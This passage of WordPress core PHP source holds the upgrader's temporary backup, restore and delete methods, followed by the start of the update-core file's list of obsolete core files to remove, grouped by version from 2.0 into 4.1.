	 *     @type string $src  Path to the root directory for plugins or themes.
	 *     @type string $dir  Destination subdirectory name. Accepts 'plugins' or 'themes'.
	 * }
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function move_to_temp_backup_dir( $args ) {
		global $wp_filesystem;

		if ( empty( $args['slug'] ) || empty( $args['src'] ) || empty( $args['dir'] ) ) {
			return false;
		}

		/*
		 * Skip any plugin that has "." as its slug.
		 * A slug of "." will result in a `$src` value ending in a period.
		 *
		 * On Windows, this will cause the 'plugins' folder to be moved,
		 * and will cause a failure when attempting to call `mkdir()`.
		 */
		if ( '.' === $args['slug'] ) {
			return false;
		}

		if ( ! $wp_filesystem->wp_content_dir() ) {
			return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
		}

		$dest_dir = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/';
		$sub_dir  = $dest_dir . $args['dir'] . '/';

		// Create the temporary backup directory if it does not exist.
		if ( ! $wp_filesystem->is_dir( $sub_dir ) ) {
			if ( ! $wp_filesystem->is_dir( $dest_dir ) ) {
				$wp_filesystem->mkdir( $dest_dir, FS_CHMOD_DIR );
			}

			if ( ! $wp_filesystem->mkdir( $sub_dir, FS_CHMOD_DIR ) ) {
				// Could not create the backup directory.
				return new WP_Error( 'fs_temp_backup_mkdir', $this->strings['temp_backup_mkdir_failed'] );
			}
		}

		$src_dir = $wp_filesystem->find_folder( $args['src'] );
		$src     = trailingslashit( $src_dir ) . $args['slug'];
		$dest    = $dest_dir . trailingslashit( $args['dir'] ) . $args['slug'];

		// Delete the temporary backup directory if it already exists.
		if ( $wp_filesystem->is_dir( $dest ) ) {
			$wp_filesystem->delete( $dest, true );
		}

		// Move to the temporary backup directory.
		$result = move_dir( $src, $dest, true );
		if ( is_wp_error( $result ) ) {
			return new WP_Error( 'fs_temp_backup_move', $this->strings['temp_backup_move_failed'] );
		}

		return true;
	}

	/**
	 * Restores the plugin or theme from temporary backup.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function restore_temp_backup() {
		global $wp_filesystem;

		$errors = new WP_Error();

		foreach ( $this->temp_restores as $args ) {
			if ( empty( $args['slug'] ) || empty( $args['src'] ) || empty( $args['dir'] ) ) {
				return false;
			}

			if ( ! $wp_filesystem->wp_content_dir() ) {
				$errors->add( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
				return $errors;
			}

			$src      = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/' . $args['dir'] . '/' . $args['slug'];
			$dest_dir = $wp_filesystem->find_folder( $args['src'] );
			$dest     = trailingslashit( $dest_dir ) . $args['slug'];

			if ( $wp_filesystem->is_dir( $src ) ) {
				// Cleanup.
				if ( $wp_filesystem->is_dir( $dest ) && ! $wp_filesystem->delete( $dest, true ) ) {
					$errors->add(
						'fs_temp_backup_delete',
						sprintf( $this->strings['temp_backup_restore_failed'], $args['slug'] )
					);
					continue;
				}

				// Move it.
				$result = move_dir( $src, $dest, true );
				if ( is_wp_error( $result ) ) {
					$errors->add(
						'fs_temp_backup_delete',
						sprintf( $this->strings['temp_backup_restore_failed'], $args['slug'] )
					);
					continue;
				}
			}
		}

		return $errors->has_errors() ? $errors : true;
	}

	/**
	 * Deletes a temporary backup.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function delete_temp_backup() {
		global $wp_filesystem;

		$errors = new WP_Error();

		foreach ( $this->temp_backups as $args ) {
			if ( empty( $args['slug'] ) || empty( $args['dir'] ) ) {
				return false;
			}

			if ( ! $wp_filesystem->wp_content_dir() ) {
				$errors->add( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
				return $errors;
			}

			$temp_backup_dir = $wp_filesystem->wp_content_dir() . "upgrade-temp-backup/{$args['dir']}/{$args['slug']}";

			if ( ! $wp_filesystem->delete( $temp_backup_dir, true ) ) {
				$errors->add(
					'temp_backup_delete_failed',
					sprintf( $this->strings['temp_backup_delete_failed'], $args['slug'] )
				);
				continue;
			}
		}

		return $errors->has_errors() ? $errors : true;
	}
}

/** Plugin_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';

/** Theme_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';

/** Language_Pack_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader.php';

/** Core_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-core-upgrader.php';

/** File_Upload_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-file-upload-upgrader.php';

/** WP_Automatic_Updater class */
require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
<?php
/**
 * WordPress core upgrade functionality.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.7.0
 */

/**
 * Stores files to be deleted.
 *
 * Bundled theme files should not be included in this list.
 *
 * @since 2.7.0
 *
 * @global array $_old_files
 * @var array
 * @name $_old_files
 */
global $_old_files;

$_old_files = array(
	// 2.0
	'wp-admin/import-b2.php',
	'wp-admin/import-blogger.php',
	'wp-admin/import-greymatter.php',
	'wp-admin/import-livejournal.php',
	'wp-admin/import-mt.php',
	'wp-admin/import-rss.php',
	'wp-admin/import-textpattern.php',
	'wp-admin/quicktags.js',
	'wp-images/fade-butt.png',
	'wp-images/get-firefox.png',
	'wp-images/header-shadow.png',
	'wp-images/smilies',
	'wp-images/wp-small.png',
	'wp-images/wpminilogo.png',
	'wp.php',
	// 2.1
	'wp-admin/edit-form-ajax-cat.php',
	'wp-admin/execute-pings.php',
	'wp-admin/inline-uploading.php',
	'wp-admin/link-categories.php',
	'wp-admin/list-manipulation.js',
	'wp-admin/list-manipulation.php',
	'wp-includes/comment-functions.php',
	'wp-includes/feed-functions.php',
	'wp-includes/functions-compat.php',
	'wp-includes/functions-formatting.php',
	'wp-includes/functions-post.php',
	'wp-includes/js/dbx-key.js',
	'wp-includes/links.php',
	'wp-includes/pluggable-functions.php',
	'wp-includes/template-functions-author.php',
	'wp-includes/template-functions-category.php',
	'wp-includes/template-functions-general.php',
	'wp-includes/template-functions-links.php',
	'wp-includes/template-functions-post.php',
	'wp-includes/wp-l10n.php',
	// 2.2
	'wp-admin/cat-js.php',
	'wp-includes/js/autosave-js.php',
	'wp-includes/js/list-manipulation-js.php',
	'wp-includes/js/wp-ajax-js.php',
	// 2.3
	'wp-admin/admin-db.php',
	'wp-admin/cat.js',
	'wp-admin/categories.js',
	'wp-admin/custom-fields.js',
	'wp-admin/dbx-admin-key.js',
	'wp-admin/edit-comments.js',
	'wp-admin/install-rtl.css',
	'wp-admin/install.css',
	'wp-admin/upgrade-schema.php',
	'wp-admin/upload-functions.php',
	'wp-admin/upload-rtl.css',
	'wp-admin/upload.css',
	'wp-admin/upload.js',
	'wp-admin/users.js',
	'wp-admin/widgets-rtl.css',
	'wp-admin/widgets.css',
	'wp-admin/xfn.js',
	'wp-includes/js/tinymce/license.html',
	// 2.5
	'wp-admin/css/upload.css',
	'wp-admin/images/box-bg-left.gif',
	'wp-admin/images/box-bg-right.gif',
	'wp-admin/images/box-bg.gif',
	'wp-admin/images/box-butt-left.gif',
	'wp-admin/images/box-butt-right.gif',
	'wp-admin/images/box-butt.gif',
	'wp-admin/images/box-head-left.gif',
	'wp-admin/images/box-head-right.gif',
	'wp-admin/images/box-head.gif',
	'wp-admin/images/heading-bg.gif',
	'wp-admin/images/login-bkg-bottom.gif',
	'wp-admin/images/login-bkg-tile.gif',
	'wp-admin/images/notice.gif',
	'wp-admin/images/toggle.gif',
	'wp-admin/includes/upload.php',
	'wp-admin/js/dbx-admin-key.js',
	'wp-admin/js/link-cat.js',
	'wp-admin/profile-update.php',
	'wp-admin/templates.php',
	'wp-includes/js/dbx.js',
	'wp-includes/js/fat.js',
	'wp-includes/js/list-manipulation.js',
	'wp-includes/js/tinymce/langs/en.js',
	'wp-includes/js/tinymce/plugins/directionality/images',
	'wp-includes/js/tinymce/plugins/directionality/langs',
	'wp-includes/js/tinymce/plugins/paste/images',
	'wp-includes/js/tinymce/plugins/paste/jscripts',
	'wp-includes/js/tinymce/plugins/paste/langs',
	'wp-includes/js/tinymce/plugins/wordpress/images',
	'wp-includes/js/tinymce/plugins/wordpress/langs',
	'wp-includes/js/tinymce/plugins/wordpress/wordpress.css',
	'wp-includes/js/tinymce/plugins/wphelp',
	// 2.5.1
	'wp-includes/js/tinymce/tiny_mce_gzip.php',
	// 2.6
	'wp-admin/bookmarklet.php',
	'wp-includes/js/jquery/jquery.dimensions.min.js',
	'wp-includes/js/tinymce/plugins/wordpress/popups.css',
	'wp-includes/js/wp-ajax.js',
	// 2.7
	'wp-admin/css/press-this-ie-rtl.css',
	'wp-admin/css/press-this-ie.css',
	'wp-admin/css/upload-rtl.css',
	'wp-admin/edit-form.php',
	'wp-admin/images/comment-pill.gif',
	'wp-admin/images/comment-stalk-classic.gif',
	'wp-admin/images/comment-stalk-fresh.gif',
	'wp-admin/images/comment-stalk-rtl.gif',
	'wp-admin/images/del.png',
	'wp-admin/images/gear.png',
	'wp-admin/images/media-button-gallery.gif',
	'wp-admin/images/media-buttons.gif',
	'wp-admin/images/postbox-bg.gif',
	'wp-admin/images/tab.png',
	'wp-admin/images/tail.gif',
	'wp-admin/js/forms.js',
	'wp-admin/js/upload.js',
	'wp-admin/link-import.php',
	'wp-includes/images/audio.png',
	'wp-includes/images/css.png',
	'wp-includes/images/default.png',
	'wp-includes/images/doc.png',
	'wp-includes/images/exe.png',
	'wp-includes/images/html.png',
	'wp-includes/images/js.png',
	'wp-includes/images/pdf.png',
	'wp-includes/images/swf.png',
	'wp-includes/images/tar.png',
	'wp-includes/images/text.png',
	'wp-includes/images/video.png',
	'wp-includes/images/zip.png',
	'wp-includes/js/tinymce/tiny_mce_config.php',
	'wp-includes/js/tinymce/tiny_mce_ext.js',
	// 2.8
	'wp-admin/js/users.js',
	'wp-includes/js/swfupload/swfupload_f9.swf',
	'wp-includes/js/tinymce/plugins/autosave',
	'wp-includes/js/tinymce/plugins/paste/css',
	'wp-includes/js/tinymce/utils/mclayer.js',
	'wp-includes/js/tinymce/wordpress.css',
	// 2.9
	'wp-admin/js/page.dev.js',
	'wp-admin/js/page.js',
	'wp-admin/js/set-post-thumbnail-handler.dev.js',
	'wp-admin/js/set-post-thumbnail-handler.js',
	'wp-admin/js/slug.dev.js',
	'wp-admin/js/slug.js',
	'wp-includes/gettext.php',
	'wp-includes/js/tinymce/plugins/wordpress/js',
	'wp-includes/streams.php',
	// MU
	'README.txt',
	'htaccess.dist',
	'index-install.php',
	'wp-admin/css/mu-rtl.css',
	'wp-admin/css/mu.css',
	'wp-admin/images/site-admin.png',
	'wp-admin/includes/mu.php',
	'wp-admin/wpmu-admin.php',
	'wp-admin/wpmu-blogs.php',
	'wp-admin/wpmu-edit.php',
	'wp-admin/wpmu-options.php',
	'wp-admin/wpmu-themes.php',
	'wp-admin/wpmu-upgrade-site.php',
	'wp-admin/wpmu-users.php',
	'wp-includes/images/wordpress-mu.png',
	'wp-includes/wpmu-default-filters.php',
	'wp-includes/wpmu-functions.php',
	'wpmu-settings.php',
	// 3.0
	'wp-admin/categories.php',
	'wp-admin/edit-category-form.php',
	'wp-admin/edit-page-form.php',
	'wp-admin/edit-pages.php',
	'wp-admin/images/admin-header-footer.png',
	'wp-admin/images/browse-happy.gif',
	'wp-admin/images/ico-add.png',
	'wp-admin/images/ico-close.png',
	'wp-admin/images/ico-edit.png',
	'wp-admin/images/ico-viewpage.png',
	'wp-admin/images/fav-top.png',
	'wp-admin/images/screen-options-left.gif',
	'wp-admin/images/wp-logo-vs.gif',
	'wp-admin/images/wp-logo.gif',
	'wp-admin/import',
	'wp-admin/js/wp-gears.dev.js',
	'wp-admin/js/wp-gears.js',
	'wp-admin/options-misc.php',
	'wp-admin/page-new.php',
	'wp-admin/page.php',
	'wp-admin/rtl.css',
	'wp-admin/rtl.dev.css',
	'wp-admin/update-links.php',
	'wp-admin/wp-admin.css',
	'wp-admin/wp-admin.dev.css',
	'wp-includes/js/codepress',
	'wp-includes/js/jquery/autocomplete.dev.js',
	'wp-includes/js/jquery/autocomplete.js',
	'wp-includes/js/jquery/interface.js',
	// Following file added back in 5.1, see #45645.
	//'wp-includes/js/tinymce/wp-tinymce.js',
	// 3.1
	'wp-admin/edit-attachment-rows.php',
	'wp-admin/edit-link-categories.php',
	'wp-admin/edit-link-category-form.php',
	'wp-admin/edit-post-rows.php',
	'wp-admin/images/button-grad-active-vs.png',
	'wp-admin/images/button-grad-vs.png',
	'wp-admin/images/fav-arrow-vs-rtl.gif',
	'wp-admin/images/fav-arrow-vs.gif',
	'wp-admin/images/fav-top-vs.gif',
	'wp-admin/images/list-vs.png',
	'wp-admin/images/screen-options-right-up.gif',
	'wp-admin/images/screen-options-right.gif',
	'wp-admin/images/visit-site-button-grad-vs.gif',
	'wp-admin/images/visit-site-button-grad.gif',
	'wp-admin/link-category.php',
	'wp-admin/sidebar.php',
	'wp-includes/classes.php',
	'wp-includes/js/tinymce/blank.htm',
	'wp-includes/js/tinymce/plugins/media/img',
	'wp-includes/js/tinymce/plugins/safari',
	// 3.2
	'wp-admin/images/logo-login.gif',
	'wp-admin/images/star.gif',
	'wp-admin/js/list-table.dev.js',
	'wp-admin/js/list-table.js',
	'wp-includes/default-embeds.php',
	// 3.3
	'wp-admin/css/colors-classic-rtl.css',
	'wp-admin/css/colors-classic-rtl.dev.css',
	'wp-admin/css/colors-fresh-rtl.css',
	'wp-admin/css/colors-fresh-rtl.dev.css',
	'wp-admin/css/dashboard-rtl.dev.css',
	'wp-admin/css/dashboard.dev.css',
	'wp-admin/css/global-rtl.css',
	'wp-admin/css/global-rtl.dev.css',
	'wp-admin/css/global.css',
	'wp-admin/css/global.dev.css',
	'wp-admin/css/install-rtl.dev.css',
	'wp-admin/css/login-rtl.dev.css',
	'wp-admin/css/login.dev.css',
	'wp-admin/css/ms.css',
	'wp-admin/css/ms.dev.css',
	'wp-admin/css/nav-menu-rtl.css',
	'wp-admin/css/nav-menu-rtl.dev.css',
	'wp-admin/css/nav-menu.css',
	'wp-admin/css/nav-menu.dev.css',
	'wp-admin/css/plugin-install-rtl.css',
	'wp-admin/css/plugin-install-rtl.dev.css',
	'wp-admin/css/plugin-install.css',
	'wp-admin/css/plugin-install.dev.css',
	'wp-admin/css/press-this-rtl.dev.css',
	'wp-admin/css/press-this.dev.css',
	'wp-admin/css/theme-editor-rtl.css',
	'wp-admin/css/theme-editor-rtl.dev.css',
	'wp-admin/css/theme-editor.css',
	'wp-admin/css/theme-editor.dev.css',
	'wp-admin/css/theme-install-rtl.css',
	'wp-admin/css/theme-install-rtl.dev.css',
	'wp-admin/css/theme-install.css',
	'wp-admin/css/theme-install.dev.css',
	'wp-admin/css/widgets-rtl.dev.css',
	'wp-admin/css/widgets.dev.css',
	'wp-admin/includes/internal-linking.php',
	'wp-includes/images/admin-bar-sprite-rtl.png',
	'wp-includes/js/jquery/ui.button.js',
	'wp-includes/js/jquery/ui.core.js',
	'wp-includes/js/jquery/ui.dialog.js',
	'wp-includes/js/jquery/ui.draggable.js',
	'wp-includes/js/jquery/ui.droppable.js',
	'wp-includes/js/jquery/ui.mouse.js',
	'wp-includes/js/jquery/ui.position.js',
	'wp-includes/js/jquery/ui.resizable.js',
	'wp-includes/js/jquery/ui.selectable.js',
	'wp-includes/js/jquery/ui.sortable.js',
	'wp-includes/js/jquery/ui.tabs.js',
	'wp-includes/js/jquery/ui.widget.js',
	'wp-includes/js/l10n.dev.js',
	'wp-includes/js/l10n.js',
	'wp-includes/js/tinymce/plugins/wplink/css',
	'wp-includes/js/tinymce/plugins/wplink/img',
	'wp-includes/js/tinymce/plugins/wplink/js',
	// Don't delete, yet: 'wp-rss.php',
	// Don't delete, yet: 'wp-rdf.php',
	// Don't delete, yet: 'wp-rss2.php',
	// Don't delete, yet: 'wp-commentsrss2.php',
	// Don't delete, yet: 'wp-atom.php',
	// Don't delete, yet: 'wp-feed.php',
	// 3.4
	'wp-admin/images/gray-star.png',
	'wp-admin/images/logo-login.png',
	'wp-admin/images/star.png',
	'wp-admin/index-extra.php',
	'wp-admin/network/index-extra.php',
	'wp-admin/user/index-extra.php',
	'wp-includes/css/editor-buttons.css',
	'wp-includes/css/editor-buttons.dev.css',
	'wp-includes/js/tinymce/plugins/paste/blank.htm',
	'wp-includes/js/tinymce/plugins/wordpress/css',
	'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js',
	'wp-includes/js/tinymce/plugins/wplink/editor_plugin.dev.js',
	// Don't delete, yet: 'wp-pass.php',
	// Don't delete, yet: 'wp-register.php',
	// 3.5
	'wp-admin/gears-manifest.php',
	'wp-admin/includes/manifest.php',
	'wp-admin/images/archive-link.png',
	'wp-admin/images/blue-grad.png',
	'wp-admin/images/button-grad-active.png',
	'wp-admin/images/button-grad.png',
	'wp-admin/images/ed-bg-vs.gif',
	'wp-admin/images/ed-bg.gif',
	'wp-admin/images/fade-butt.png',
	'wp-admin/images/fav-arrow-rtl.gif',
	'wp-admin/images/fav-arrow.gif',
	'wp-admin/images/fav-vs.png',
	'wp-admin/images/fav.png',
	'wp-admin/images/gray-grad.png',
	'wp-admin/images/loading-publish.gif',
	'wp-admin/images/logo-ghost.png',
	'wp-admin/images/logo.gif',
	'wp-admin/images/menu-arrow-frame-rtl.png',
	'wp-admin/images/menu-arrow-frame.png',
	'wp-admin/images/menu-arrows.gif',
	'wp-admin/images/menu-bits-rtl-vs.gif',
	'wp-admin/images/menu-bits-rtl.gif',
	'wp-admin/images/menu-bits-vs.gif',
	'wp-admin/images/menu-bits.gif',
	'wp-admin/images/menu-dark-rtl-vs.gif',
	'wp-admin/images/menu-dark-rtl.gif',
	'wp-admin/images/menu-dark-vs.gif',
	'wp-admin/images/menu-dark.gif',
	'wp-admin/images/required.gif',
	'wp-admin/images/screen-options-toggle-vs.gif',
	'wp-admin/images/screen-options-toggle.gif',
	'wp-admin/images/toggle-arrow-rtl.gif',
	'wp-admin/images/toggle-arrow.gif',
	'wp-admin/images/upload-classic.png',
	'wp-admin/images/upload-fresh.png',
	'wp-admin/images/white-grad-active.png',
	'wp-admin/images/white-grad.png',
	'wp-admin/images/widgets-arrow-vs.gif',
	'wp-admin/images/widgets-arrow.gif',
	'wp-admin/images/wpspin_dark.gif',
	'wp-includes/images/upload.png',
	'wp-includes/js/prototype.js',
	'wp-includes/js/scriptaculous',
	'wp-admin/css/wp-admin-rtl.dev.css',
	'wp-admin/css/wp-admin.dev.css',
	'wp-admin/css/media-rtl.dev.css',
	'wp-admin/css/media.dev.css',
	'wp-admin/css/colors-classic.dev.css',
	'wp-admin/css/customize-controls-rtl.dev.css',
	'wp-admin/css/customize-controls.dev.css',
	'wp-admin/css/ie-rtl.dev.css',
	'wp-admin/css/ie.dev.css',
	'wp-admin/css/install.dev.css',
	'wp-admin/css/colors-fresh.dev.css',
	'wp-includes/js/customize-base.dev.js',
	'wp-includes/js/json2.dev.js',
	'wp-includes/js/comment-reply.dev.js',
	'wp-includes/js/customize-preview.dev.js',
	'wp-includes/js/wplink.dev.js',
	'wp-includes/js/tw-sack.dev.js',
	'wp-includes/js/wp-list-revisions.dev.js',
	'wp-includes/js/autosave.dev.js',
	'wp-includes/js/admin-bar.dev.js',
	'wp-includes/js/quicktags.dev.js',
	'wp-includes/js/wp-ajax-response.dev.js',
	'wp-includes/js/wp-pointer.dev.js',
	'wp-includes/js/hoverIntent.dev.js',
	'wp-includes/js/colorpicker.dev.js',
	'wp-includes/js/wp-lists.dev.js',
	'wp-includes/js/customize-loader.dev.js',
	'wp-includes/js/jquery/jquery.table-hotkeys.dev.js',
	'wp-includes/js/jquery/jquery.color.dev.js',
	'wp-includes/js/jquery/jquery.color.js',
	'wp-includes/js/jquery/jquery.hotkeys.dev.js',
	'wp-includes/js/jquery/jquery.form.dev.js',
	'wp-includes/js/jquery/suggest.dev.js',
	'wp-admin/js/xfn.dev.js',
	'wp-admin/js/set-post-thumbnail.dev.js',
	'wp-admin/js/comment.dev.js',
	'wp-admin/js/theme.dev.js',
	'wp-admin/js/cat.dev.js',
	'wp-admin/js/password-strength-meter.dev.js',
	'wp-admin/js/user-profile.dev.js',
	'wp-admin/js/theme-preview.dev.js',
	'wp-admin/js/post.dev.js',
	'wp-admin/js/media-upload.dev.js',
	'wp-admin/js/word-count.dev.js',
	'wp-admin/js/plugin-install.dev.js',
	'wp-admin/js/edit-comments.dev.js',
	'wp-admin/js/media-gallery.dev.js',
	'wp-admin/js/custom-fields.dev.js',
	'wp-admin/js/custom-background.dev.js',
	'wp-admin/js/common.dev.js',
	'wp-admin/js/inline-edit-tax.dev.js',
	'wp-admin/js/gallery.dev.js',
	'wp-admin/js/utils.dev.js',
	'wp-admin/js/widgets.dev.js',
	'wp-admin/js/wp-fullscreen.dev.js',
	'wp-admin/js/nav-menu.dev.js',
	'wp-admin/js/dashboard.dev.js',
	'wp-admin/js/link.dev.js',
	'wp-admin/js/user-suggest.dev.js',
	'wp-admin/js/postbox.dev.js',
	'wp-admin/js/tags.dev.js',
	'wp-admin/js/image-edit.dev.js',
	'wp-admin/js/media.dev.js',
	'wp-admin/js/customize-controls.dev.js',
	'wp-admin/js/inline-edit-post.dev.js',
	'wp-admin/js/categories.dev.js',
	'wp-admin/js/editor.dev.js',
	'wp-includes/js/plupload/handlers.dev.js',
	'wp-includes/js/plupload/wp-plupload.dev.js',
	'wp-includes/js/swfupload/handlers.dev.js',
	'wp-includes/js/jcrop/jquery.Jcrop.dev.js',
	'wp-includes/js/jcrop/jquery.Jcrop.js',
	'wp-includes/js/jcrop/jquery.Jcrop.css',
	'wp-includes/js/imgareaselect/jquery.imgareaselect.dev.js',
	'wp-includes/css/wp-pointer.dev.css',
	'wp-includes/css/editor.dev.css',
	'wp-includes/css/jquery-ui-dialog.dev.css',
	'wp-includes/css/admin-bar-rtl.dev.css',
	'wp-includes/css/admin-bar.dev.css',
	'wp-includes/js/jquery/ui/jquery.effects.clip.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.scale.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.blind.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.core.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.shake.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.fade.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.explode.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.slide.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.drop.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.highlight.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.bounce.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.pulsate.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.transfer.min.js',
	'wp-includes/js/jquery/ui/jquery.effects.fold.min.js',
	'wp-admin/js/utils.js',
	// Added back in 5.3 [45448], see #43895.
	// 'wp-admin/options-privacy.php',
	'wp-app.php',
	'wp-includes/class-wp-atom-server.php',
	// 3.5.2
	'wp-includes/js/swfupload/swfupload-all.js',
	// 3.6
	'wp-admin/js/revisions-js.php',
	'wp-admin/images/screenshots',
	'wp-admin/js/categories.js',
	'wp-admin/js/categories.min.js',
	'wp-admin/js/custom-fields.js',
	'wp-admin/js/custom-fields.min.js',
	// 3.7
	'wp-admin/js/cat.js',
	'wp-admin/js/cat.min.js',
	// 3.8
	'wp-includes/js/thickbox/tb-close-2x.png',
	'wp-includes/js/thickbox/tb-close.png',
	'wp-includes/images/wpmini-blue-2x.png',
	'wp-includes/images/wpmini-blue.png',
	'wp-admin/css/colors-fresh.css',
	'wp-admin/css/colors-classic.css',
	'wp-admin/css/colors-fresh.min.css',
	'wp-admin/css/colors-classic.min.css',
	'wp-admin/js/about.min.js',
	'wp-admin/js/about.js',
	'wp-admin/images/arrows-dark-vs-2x.png',
	'wp-admin/images/wp-logo-vs.png',
	'wp-admin/images/arrows-dark-vs.png',
	'wp-admin/images/wp-logo.png',
	'wp-admin/images/arrows-pr.png',
	'wp-admin/images/arrows-dark.png',
	'wp-admin/images/press-this.png',
	'wp-admin/images/press-this-2x.png',
	'wp-admin/images/arrows-vs-2x.png',
	'wp-admin/images/welcome-icons.png',
	'wp-admin/images/wp-logo-2x.png',
	'wp-admin/images/stars-rtl-2x.png',
	'wp-admin/images/arrows-dark-2x.png',
	'wp-admin/images/arrows-pr-2x.png',
	'wp-admin/images/menu-shadow-rtl.png',
	'wp-admin/images/arrows-vs.png',
	'wp-admin/images/about-search-2x.png',
	'wp-admin/images/bubble_bg-rtl-2x.gif',
	'wp-admin/images/wp-badge-2x.png',
	'wp-admin/images/wordpress-logo-2x.png',
	'wp-admin/images/bubble_bg-rtl.gif',
	'wp-admin/images/wp-badge.png',
	'wp-admin/images/menu-shadow.png',
	'wp-admin/images/about-globe-2x.png',
	'wp-admin/images/welcome-icons-2x.png',
	'wp-admin/images/stars-rtl.png',
	'wp-admin/images/wp-logo-vs-2x.png',
	'wp-admin/images/about-updates-2x.png',
	// 3.9
	'wp-admin/css/colors.css',
	'wp-admin/css/colors.min.css',
	'wp-admin/css/colors-rtl.css',
	'wp-admin/css/colors-rtl.min.css',
	// Following files added back in 4.5, see #36083.
	// 'wp-admin/css/media-rtl.min.css',
	// 'wp-admin/css/media.min.css',
	// 'wp-admin/css/farbtastic-rtl.min.css',
	'wp-admin/images/lock-2x.png',
	'wp-admin/images/lock.png',
	'wp-admin/js/theme-preview.js',
	'wp-admin/js/theme-install.min.js',
	'wp-admin/js/theme-install.js',
	'wp-admin/js/theme-preview.min.js',
	'wp-includes/js/plupload/plupload.html4.js',
	'wp-includes/js/plupload/plupload.html5.js',
	'wp-includes/js/plupload/changelog.txt',
	'wp-includes/js/plupload/plupload.silverlight.js',
	'wp-includes/js/plupload/plupload.flash.js',
	// Added back in 4.9 [41328], see #41755.
	// 'wp-includes/js/plupload/plupload.js',
	'wp-includes/js/tinymce/plugins/spellchecker',
	'wp-includes/js/tinymce/plugins/inlinepopups',
	'wp-includes/js/tinymce/plugins/media/js',
	'wp-includes/js/tinymce/plugins/media/css',
	'wp-includes/js/tinymce/plugins/wordpress/img',
	'wp-includes/js/tinymce/plugins/wpdialogs/js',
	'wp-includes/js/tinymce/plugins/wpeditimage/img',
	'wp-includes/js/tinymce/plugins/wpeditimage/js',
	'wp-includes/js/tinymce/plugins/wpeditimage/css',
	'wp-includes/js/tinymce/plugins/wpgallery/img',
	'wp-includes/js/tinymce/plugins/paste/js',
	'wp-includes/js/tinymce/themes/advanced',
	'wp-includes/js/tinymce/tiny_mce.js',
	'wp-includes/js/tinymce/mark_loaded_src.js',
	'wp-includes/js/tinymce/wp-tinymce-schema.js',
	'wp-includes/js/tinymce/plugins/media/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/media/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/media/media.htm',
	'wp-includes/js/tinymce/plugins/wpview/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpview/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/directionality/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/directionality/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wordpress/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/editimage.html',
	'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm',
	'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wplink/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wplink/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/paste/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/paste/pasteword.htm',
	'wp-includes/js/tinymce/plugins/paste/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/paste/pastetext.htm',
	'wp-includes/js/tinymce/langs/wp-langs.php',
	// 4.1
	'wp-includes/js/jquery/ui/jquery.ui.accordion.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.autocomplete.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.button.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.core.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.datepicker.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.dialog.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.draggable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.droppable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-blind.min.js',
